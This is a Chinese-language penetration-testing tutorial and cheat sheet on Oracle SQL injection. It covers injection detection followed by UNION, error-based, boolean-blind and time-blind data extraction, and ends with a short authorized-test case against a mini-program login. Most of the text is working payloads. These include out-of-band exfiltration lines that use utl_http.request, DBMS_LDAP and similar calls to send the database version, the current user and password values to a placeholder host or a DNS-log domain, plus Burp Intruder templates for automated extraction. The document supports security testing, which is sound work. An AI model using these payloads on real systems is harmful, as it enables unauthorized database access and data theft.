Oracle
数据库常用于一些大型公司,通常都配合Java的后端来使用,在企业以及各类主流单位都作为主要数据库,平时在测试中也经常遇到Oracle注入漏洞,所以就总结一下,注入过程,从注入判断到数据的获取,全过程记录,包含一个简单的典型实际案例
and 1=1
这样的测试语句数字型的注入,和其他类型数据库时都一样,自己构造加减乘除
的条件来判断注入
#通过 <> 来判断 ?id=1'+and+1<>1--+ #返回为真 页面正常 ?id=1'+and+1<>1--+ #返回为假 页面异常 #通过 加减法来判断 ?id=1 #返回id,为1的内容 ?id=2-1 #返回为1的内容 #通过数据库报错来判断 ?id=1 #返回为正常 ?id=1/0 #返回异常 # 通过注释符来判断(多行注释:/**/,单行注释:--) ?id=1 #返回为正常 ?id=1/*loecho*/ #也返回正常 ?id=1 #返回为正常 ?id=1--loecho #也返回正常
字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'
闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此
#通过<>来判断 ?name=loecho'+and+1<>6--+ #返回正常 ?name=loecho'+and+1<>1--+ #返回异常 #使用字符串拼接符’||’,通过判断拼接符是否执行,从而判断是否存在注入 ?name=lo'||'echo #返回正常 ?name=lo'||'haha #返回异常
即利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据
# 01.先判断列数,同Mysql一样 ?id=1'+order+by+4--+ #返回正常 ?id=1'+order+by+5--+ #提示报错 得出结论数据为: 5 列 # 02.然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为字符串,如果报错则说明该列是数字型,否则则是字符型。,同Mysql一样 ?id=1'+union+select+user+null+null+null+from+dual--+ #查询当前用户名 以此类推 # 03. 利用select table_name from user_tables where rownum=1获取表名(列名table数据同理): select column_name from user_tab_columns where table_name='TB_USER' and rownum=1(获取列名) select USER_ID from TB_USER where USER_ID=1 and rownum=1(获取数据)
构造报错语句,通过数据库报错来带出我们要查询的数据,常用的报错函数包括
# 中间为查询语句 upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))
# 中间为查询语句 upper(dbms_xdb_version.checkin((select user from dual)))
# 中间为查询内容 upper(dbms_xdb_version.checkin((select user from dual)))
# 中间为查询内容 ordsys.ord_dicom.getmappingxpath(user,user,user)
# 中间为查询内容 dbms_utility.sqlid_to_sqlhash((select user from dual))
通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1-- 查询指纹版 and utl_http.request('http://ip:port/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 -- 查询环境 and%20 utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1-- 查询当前用户 and%20%20utl_http.request(%27http://ip:port/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--查询具体内容 and utl_http.request('http://ip:port/'||(select TABLE_NAME from all_tables where rownum=1))=1-- 查询所有数据表名 select name from v$database; select instance_name from v$instance; 1.查询所有数据库 由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。 select * from v$tablespace;--查询表空间(需要一定权限) 2.查询当前数据库中所有表名 select * from user_tables; 3.查询指定表中的所有字段名 select column_name from user_tab_columns where table_name = 'table_name'; 4.查询指定表中的所有字段名和字段类型 select column_name, data_type from user_tab_columns where table_name = 'table_name';
- UTL_HTTP.REQUEST select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL; - DBMS_LDAP.INIT select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.dnslog',80) FROM sys.DUAL; - HTTPURITYPE select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.dnslog').GETCLOB() FROM sys.DUAL; - UTL_INADDR.GET_HOST_ADDRESS select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入
# 按位截取数据,Bp俩个标记:第一个为截取位数,第二个为:所有字符: and+1=(select+decode(substr((select user from dual),§1§,1),'§S§',(1),0) from dual)--+ #查 user and+1=(select decode(substr((select banner from sys.v_$version wher rownum=1),1 ,1),'S',(1),0) from dual)--+ # 查version and+1=(select decode(substr((select table_name from user_tables where rownum=1),§1§,1),'§S§',(1),0) from dual)--+ # 查表名
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126): 123=(case when ascii(substr(user,§0§,1))=§121§ then '123' else '456' end)--+
# 按位截取数据,Bp俩个标记:第一个为:所有可见字符的ASCII码(32~126): 第二个,第三个为:值相同为截取位数 123=(case instr(user,chr(§*§),§*§,1) when §*§ then '123' else '456' end)--+
还有其他方式来利用,配合函数,不同环境不同用法
时间盲注,基于服务器返回所用的时间,判断函数是否执行,从而判断是否存在注入
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126): '||decode(substr(user,§*§,1),chr(§*§),DBMS_PIPE.receive_message('sen',1),2)||' #查user
某次授权测试,某小程序后端在检查登录时,存在Oracle注入漏洞,注入类型为基于布尔类型的注入
超级SQL注入工具
标记好数据包以及布尔变换和空格替换,都可以成功{"tel":"18848888888/**/and/**/1=(select/**/decode(substr((select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),1 ,1),'S',(1),0)/**/from/**/dual)"}
1/0
也是可以的